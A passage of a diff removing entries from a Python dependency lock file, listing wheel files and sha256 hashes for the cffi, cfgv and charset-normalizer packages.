"sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26"}, - {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9"}, - {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414"}, - {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743"}, - {file = "cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5"}, - {file = "cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5"}, - {file = "cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d"}, - {file = "cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d"}, - {file = "cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba"}, - {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94"}, - {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187"}, - {file = "cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18"}, - {file = "cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5"}, - {file = "cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6"}, - {file = "cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb"}, - {file = "cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26"}, - {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c"}, - {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b"}, - {file = "cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27"}, - {file = "cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75"}, - {file = "cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91"}, - {file = "cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5"}, - {file = "cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775"}, - {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205"}, - {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1"}, - {file = "cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f"}, - {file = "cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25"}, - {file = "cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad"}, - {file = "cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9"}, - {file = "cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592"}, - {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512"}, - {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4"}, - {file = "cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e"}, - {file = "cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6"}, - {file = "cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9"}, - {file = "cffi-2.0.0-cp39-cp39-macosx_10_13_x86_64.whl", hash = "sha256:fe562eb1a64e67dd297ccc4f5addea2501664954f2692b69a76449ec7913ecbf"}, - {file = "cffi-2.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:de8dad4425a6ca6e4e5e297b27b5c824ecc7581910bf9aee86cb6835e6812aa7"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:4647afc2f90d1ddd33441e5b0e85b16b12ddec4fca55f0d9671fef036ecca27c"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3f4d46d8b35698056ec29bca21546e1551a205058ae1a181d871e278b0b28165"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e6e73b9e02893c764e7e8d5bb5ce277f1a009cd5243f8228f75f842bf937c534"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:cb527a79772e5ef98fb1d700678fe031e353e765d1ca2d409c92263c6d43e09f"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:61d028e90346df14fedc3d1e5441df818d095f3b87d286825dfcbd6459b7ef63"}, - {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:0f6084a0ea23d05d20c3edcda20c3d006f9b6f3fefeac38f59262e10cef47ee2"}, - {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:1cd13c99ce269b3ed80b417dcd591415d3372bcac067009b6e0f59c7d4015e65"}, - {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:89472c9762729b5ae1ad974b777416bfda4ac5642423fa93bd57a09204712322"}, - {file = "cffi-2.0.0-cp39-cp39-win32.whl", hash = "sha256:2081580ebb843f759b9f617314a24ed5738c51d2aee65d31e02f6f7a2b97707a"}, - {file = "cffi-2.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:b882b3df248017dba09d6b16defe9b5c407fe32fc7c65a9c69798e6175601be9"}, - {file = "cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529"}, -] - -[package.dependencies] -pycparser = {version = "*", markers = "implementation_name != \"PyPy\""} - -[[package]] -name = "cfgv" -version = "3.4.0" -description = "Validate configuration and produce human readable error messages." -optional = false -python-versions = ">=3.8" -groups = ["dev"] -markers = "python_version == \"3.9\"" -files = [ - {file = "cfgv-3.4.0-py2.py3-none-any.whl", hash = "sha256:b7265b1f29fd3316bfcd2b330d63d024f2bfd8bcb8b0272f8e19a504856c48f9"}, - {file = "cfgv-3.4.0.tar.gz", hash = "sha256:e52591d4c5f5dead8e0f673fb16db7949d2cfb3f7da4582893288f0ded8fe560"}, -] - -[[package]] -name = "cfgv" -version = "3.5.0" -description = "Validate configuration and produce human readable error messages." -optional = false -python-versions = ">=3.10" -groups = ["dev"] -markers = "python_version >= \"3.10\"" -files = [ - {file = "cfgv-3.5.0-py2.py3-none-any.whl", hash = "sha256:a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0"}, - {file = "cfgv-3.5.0.tar.gz", hash = "sha256:d5b1034354820651caa73ede66a6294d6e95c1b00acc5e9b098e917404669132"}, -] - -[[package]] -name = "charset-normalizer" -version = "3.4.4" -description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." -optional = false -python-versions = ">=3.7" -groups = ["main", "docs"] -files = [ - {file = "charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d"}, - {file = "charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016"}, - {file = "charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525"}, - {file = "charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14"}, - {file = "charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec"}, - {file = "charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9"}, - {file = 